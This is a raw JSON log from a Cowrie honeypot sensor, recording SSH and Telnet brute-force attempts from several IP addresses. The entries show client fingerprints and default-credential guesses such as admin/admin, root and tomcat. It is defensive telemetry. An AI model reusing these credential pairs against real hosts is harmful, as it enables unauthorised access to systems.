{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:03.897575Z","src_ip":"45.156.87.253","session":"0417fccb019f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57832,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f5bbd0d1cbe","protocol":"ssh","message":"New connection: 45.156.87.253:57832 (10.17.0.5:22) [session: 2f5bbd0d1cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:05.826088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:05.829589Z","src_ip":"45.156.87.253","session":"2f5bbd0d1cbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:05.909298Z","src_ip":"45.156.87.253","session":"2f5bbd0d1cbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:06.156147Z","src_ip":"45.156.87.253","session":"2f5bbd0d1cbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:07.239116Z","src_ip":"45.156.87.253","session":"2f5bbd0d1cbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36966,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f1aade88a6e","protocol":"ssh","message":"New connection: 45.156.87.253:36966 (10.17.0.5:22) [session: 0f1aade88a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:09.145516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:09.149206Z","src_ip":"45.156.87.253","session":"0f1aade88a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:09.229509Z","src_ip":"45.156.87.253","session":"0f1aade88a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:09.639753Z","src_ip":"45.156.87.253","session":"0f1aade88a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:10.082309Z","src_ip":"40.124.173.115","session":"6d74370bafa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:10.722505Z","src_ip":"45.156.87.253","session":"0f1aade88a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":46864,"dst_ip":"10.17.0.5","dst_port":22,"session":"d22cefcd444c","protocol":"ssh","message":"New connection: 144.91.108.61:46864 (10.17.0.5:22) [session: d22cefcd444c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:11.682569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:11.685853Z","src_ip":"144.91.108.61","session":"d22cefcd444c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.54845905303955,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:11.705787Z","src_ip":"14.47.200.242","session":"d02d74dcbd53","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:11.780012Z","src_ip":"144.91.108.61","session":"d22cefcd444c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.47.200.242","src_port":36674,"dst_ip":"159.203.135.109","dst_port":23,"session":"40ec01359757","protocol":"telnet","message":"New connection: 14.47.200.242:36674 (159.203.135.109:23) [session: 40ec01359757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:11.896944Z"}
{"eventid":"cowrie.login.failed","username":"kas123","password":"kas123","message":"login attempt [kas123/kas123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:12.056167Z","src_ip":"144.91.108.61","session":"d22cefcd444c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36982,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b9c225e5b34","protocol":"ssh","message":"New connection: 45.156.87.253:36982 (10.17.0.5:22) [session: 1b9c225e5b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:12.540751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:12.544238Z","src_ip":"45.156.87.253","session":"1b9c225e5b34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:12.624615Z","src_ip":"45.156.87.253","session":"1b9c225e5b34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"b'\\xcc\\xd1\\xd1\\xca'","password":"b'\\xd5\\xd2\\xc8\\x8f\\x8c\\x8d\\x8a'","message":"login attempt [b'\\xcc\\xd1\\xd1\\xca'/b'\\xd5\\xd2\\xc8\\x8f\\x8c\\x8d\\x8a'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:12.735041Z","src_ip":"14.47.200.242","session":"40ec01359757","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:12.867491Z","src_ip":"45.156.87.253","session":"1b9c225e5b34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:13.148944Z","src_ip":"144.91.108.61","session":"d22cefcd444c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":1422,"dst_ip":"10.17.0.5","dst_port":22,"session":"f38d356b0af6","protocol":"ssh","message":"New connection: 176.53.159.196:1422 (10.17.0.5:22) [session: f38d356b0af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:13.152847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:13.155973Z","src_ip":"176.53.159.196","session":"f38d356b0af6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:13.252222Z","src_ip":"176.53.159.196","session":"f38d356b0af6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:13.539531Z","src_ip":"176.53.159.196","session":"f38d356b0af6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:13.613796Z","src_ip":"14.47.200.242","session":"40ec01359757","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:13.637552Z","session":"f38d356b0af6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:13.734359Z","src_ip":"176.53.159.196","session":"f38d356b0af6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:13.832058Z","src_ip":"176.53.159.196","session":"f38d356b0af6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:14.089037Z","src_ip":"45.156.87.253","session":"1b9c225e5b34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:14.506399Z","src_ip":"14.47.200.242","session":"40ec01359757","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36992,"dst_ip":"10.17.0.5","dst_port":22,"session":"d79cc5138006","protocol":"ssh","message":"New connection: 45.156.87.253:36992 (10.17.0.5:22) [session: d79cc5138006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:15.855905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:15.859909Z","src_ip":"45.156.87.253","session":"d79cc5138006","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:15.941434Z","src_ip":"45.156.87.253","session":"d79cc5138006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:16.187981Z","src_ip":"45.156.87.253","session":"d79cc5138006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:17.272307Z","src_ip":"45.156.87.253","session":"d79cc5138006","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39822,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3d20aef8cec","protocol":"ssh","message":"New connection: 45.156.87.253:39822 (10.17.0.5:22) [session: a3d20aef8cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:19.476359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:19.480058Z","src_ip":"45.156.87.253","session":"a3d20aef8cec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:19.562135Z","src_ip":"45.156.87.253","session":"a3d20aef8cec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28011988","message":"login attempt [root/28011988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:19.804013Z","src_ip":"45.156.87.253","session":"a3d20aef8cec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":38618,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b776bfadb36","protocol":"ssh","message":"New connection: 103.176.20.57:38618 (159.203.135.109:22) [session: 2b776bfadb36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:20.204468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:07:20.208261Z","src_ip":"103.176.20.57","session":"2b776bfadb36","protocol":"ssh"}
